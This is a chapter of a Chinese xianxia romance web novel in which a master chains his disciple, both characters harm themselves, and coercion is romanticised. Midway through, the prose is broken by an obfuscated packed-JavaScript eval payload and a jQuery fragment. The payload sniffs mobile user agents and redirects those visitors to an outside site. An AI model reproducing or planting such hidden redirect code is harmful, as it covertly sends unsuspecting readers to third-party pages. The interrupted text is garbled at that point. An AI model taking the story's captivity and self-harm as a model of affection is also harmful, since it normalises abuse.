93. 沉溺
作品:《读档后被仙尊反攻略了》 再睁眼时,是在霄云殿阁楼的软榻上。
她曾嫌弃幽暗的阁楼里多了几颗夜明珠,成色最好的四颗各自镶在软榻四角,床幔帘内如月悬照,柔光似水。
伸手欲触时,她腕间不知何时拴上的锁链叮零摇晃,窸窣作响。
洛凝脸色微变。
“喜欢?”时序寒从后挑开纱幔,语气幽幽,“还有一颗更大更亮的,你看放在哪里比较合适?”
寒凉从脊背上窜,湿冷粘腻冻得人发颤,洛凝手一抖,递来的硕大明珠便落在地,四分五裂。
“是不喜欢吗?”他轻叹一声,似带惋惜。
“还是说,不是喜欢的人送的呢?”
他昔日温润的声线变得喑哑,似长久缄默后的怨诉,贴在她耳畔回响。
洛凝本能察觉到危险,微微摇头,绷直脊背不敢对上他视线。
跟往常不一样,他现在是个平静的疯子。
“不是这样吗?那为什么要跟别的男人走呢?”他扶她起身,锁链跟着响动,金属冰凉的触感激起人浑身疙瘩。
锁链很长,长度够她移步妆台前。
“是我哪里不够好吗?”他看着镜子里的她。
洛凝被看得浑身发毛,腿一软坐在妆凳上,任由他修长玉指盘绕上她发尾。
“刚才的夜明珠碎就碎了,左右还留了更好的。”他撑在她两侧,伸手拉开妆台抽屉。
黄花梨木雕凤匣内,静静卧着一对成色更佳的明珠耳铛。
耳铛由银边花丝掐就,流银为穗精致无匹,颇费了他一番心思。
“应该是你会喜欢的样式。”他做的时候就这么想。
洛凝耳洞小,加上久不戴耳饰,时序寒只得凑近她耳边,两指细细捻开那一点小孔。
耳垂被来回轻碾发红,她僵着脖子微微侧首,试图逃离几分。
“别动,”他的手臂绕过另一侧,几乎将她圈在怀里,放轻指尖力道,“还没好。”
两边耳铛戴好时,她的耳朵已经红得不成样子,绯红沿着脸颊蔓延至脖颈,与明珠形成鲜明对比。
“何以致区区,耳中双明珠。”他拂过耳坠,神色哀迷,“你曾说的话,如今还作数吗?”
湿冷幽怨,黏腻痴缠。
可越是如此,她心底愠怒越盛。
心底不知何处起的火越烧越烈,如蚁噬心,她攥紧五指,一种名为不甘的情绪将理智湮没。
这不是她的话。
是师娘说的。
洛凝不辞而别生出的那点愧疚,也在他的声声低语中磨尽,催生出她另番骨子里的恶劣。
“我什么时候说过这话?”她起身对上他,执拗倔强,“没说过的话,当然不作数了。”
“不作数?”时序寒眼中一痛,“那你说,这个世上最亲密的人……也是骗我的吗?”
“没说过!全都没说过!”她气急,摘下耳珰丢在妆台上,“我不要这个!我要离开这里!凭什么把我锁在你身边!”
玄铁锁链晃荡作响,洛凝情绪异常激动,挣不开锁链便拿簪挑刺、用匕首砍,即便筋脉逆行也强行灵力化刃,眼都不眨地往自己手臂劈去。
锁链完好无损。
她纤白手臂上滴下几抹艳红,却不是她的血。
时序寒从后拦抱住她,一手握住她凝聚灵力的指,防止她贸用灵力引起反噬,另一臂被她手中簪子刺穿,血流不止。
他眼中痛惜,低头抵在她肩上,“不喜欢便不喜欢罢,丢了就是了。”
“但求你……不要伤到自己。”
越往后声音越小,寂静阁楼里只有两个人呼吸的声音。
他冰凉指骨抚过锁链搭扣,玄铁链“咔哒”两声依次落地,她腕间忽而一轻。
洛凝冷静下来,肩上略有湿意。
师尊解开锁链,她应该觉得高兴的。
可她心跳得还是很快,一阵熟悉的刺痛后,再度失去了意识。
禁术后还一直随意动用灵力,灵息错乱至此还浑然不上心。
而没有玄铁链为引,为她疏导错乱的灵息也变得困难起来。
魔种发芽后对她身体的影响愈加频繁。
但她不喜欢锁链。
时序寒无计可施,将她扶至榻前,又在腕间一划,取碗集血喂她喝下。
还好凤凰血勉强有用。
*
两个时辰后,洛凝再醒来,室内空无一人。
师尊不在。
不知怎地,最近总是暴躁不堪,动不动就容易恼,冲动完了还会晕。
难道真是被师尊惯坏了这副臭脾气吗?
自己适才弃了那对明珠耳铛,还将师尊的手臂刺伤了。
虽然耳铛很好看,她很喜欢……却不能假借师娘之名得到。
她是个有原则的人。
可在师尊眼里,那些狠话要是都出自师娘之口,他该有多伤心啊。
冷静后的愧疚让她辗转难安。
洛凝走到妆台边,将明珠耳铛收好,走出房间打算寻他道歉。
离开阁楼的刹那,足间缠丝链闪过微弱星芒,却并未如古籍记载所述将她拖回房内。
流转灵光化作一道细丝,向后殿寒池方向掠去。
这就是师尊灵力改过的缠丝链吗。
原来如此。
她向寒池而去,绣鸾屏风后,师尊闭目沉于寒池中。
洛凝唤了几声,时序寒沉于池水之下,如沉底玉雕一般没有任何反应。
绕过屏风,寒池水中氤氲水汽后,水面晕染开一片猩红。
是血!
她瞳孔一缩,管不得许多,纵身跃入池水,向寒池中心拼命游去。
时序寒沉于池底,借冰冷池水镇压紊乱躁动的魔息,受无烬渊的魔息之源召唤,他体内魔息愈发难以压制。
心魔与魔息因不同源,也无法压制魔息。
就算把自己彻底封冻,也抑制不了魔息的魔性了。
他即便闭上眼,脑海里也满是她为离开不惜自伤的画面。他的阿凝满眼失望痛怨,血淋淋一身,站在他眼前,他来不及抓住便又被风吹散。
明知是魔息有意虚构的画面,可还是不可避免地为之心颤。
让人痛得心口发麻。
他宁可伤的是自己,也不愿看到她损一分。
时序寒是这么想的,也是这么做的。数刀下来,他的血化在冰冷池水里,世人趋之若鹜的凤凰血就这样泛滥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534361|168297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满池。
正欲再划开下一道,他的手被骤然握住。
红丝弥漫的水中,朝思暮想的人正坚定地抓住他手,青丝在水中漾开,眼神似怨还嗔,不是责难怨怼,是熟悉的……心疼。
像是做梦。
浮上水面的瞬间,洛凝大口呼吸着空气,见他如此作践自己,不由得怒从心起,“有什么事不能好好说,为什么要这样?”
这跟割腕自杀有什么区别!
“你想离开我。”他漆黑眸子锁定她,发梢水滴沿着轮廓滴落,“你不要我。”
他眉眼湿漉漉的,像受了极大的委屈,偶有水珠从他眼睫滴落,分不清是池水还是别的。
“那也不能——”
“你来找我,是改主意了吗?”他问。
她一时语塞,看向他手臂上还在渗血的伤口,“先处理伤口,还在渗血……”
他虚拢住她皓腕,眸色微黯,“这是心疼么?”
“不……唔!”
是个猝不及防、一瞬即逝的吻。
她还没反应过来,他扶过她腰抵在她额间,另一只手灵力一动,取来上次她遗落池中的屠神匕,“瞬行珠上次已被你捏碎了,现在就只有匕首了。”
时序寒带着她手握住屠神匕,锋刃对准自己心口,“这里,往里三寸。”
“什——”
她剩下的话被吞没在漫长的吻里。
不过是想来向师尊道个歉而已。
事情是怎么发展成这个样子的。
洛凝失神,脑子昏昏沉沉的想不明白,理智也跟着离家出走。
潜意识告诉她不应该这样。
她推了推他,可他箍在腰间的手太紧,能动的只有握住匕首的手。
时序寒握紧她的腕,不许她退后,即便她的刀口抵在心口。小幅挣动间刀刃刺破了他胸膛,虽只留下浅淡划痕,洛凝还是不敢再挣扎了。
要么接受他,要么杀了他。
洛凝放弃挣扎,他的吻却愈发过分,揽在腰间的手收紧,留给屠神匕首的距离也被缩短。
像是要将所有都付与她,急切地要将满腔情意尽数倾泻,好似世界末日般只争眼前一时的欢愉。
不再隐忍,不再压抑,不再伪装。
就算刀尖抵在心口也全然不顾。
他带着她的手往前刺。
洛凝只能用力往后,拉锯之间,两人距离已再容不下匕首了。
她猛一使力夺下匕首,细腕微折,屠神匕第二次沉入寒池。
咫尺方寸,再无隔阂。
时序寒微微喘息地看着她,拂开她鬓边湿缠的发,看着她亲手丢弃最后拒绝的筹码,眼中墨色愈深。
洛凝听到头顶传来一声轻笑。
来不及思考,下巴被抬起,他指腹摩挲过唇瓣,随之而来的是比方才更汹涌澎湃的吻。
室温渐高,寒池再次成了温泉。
呼吸被寸寸掠夺,意识游离的边缘,她灵府防备最弱之时,有道熟悉神识叩开了灵府之门。
无力招架,意识浮沉之间,神识百般纠缠。
十指相缠,灵息相通,再没比这更亲密的了。
这次,他们一同沉入池底,深溺弱水。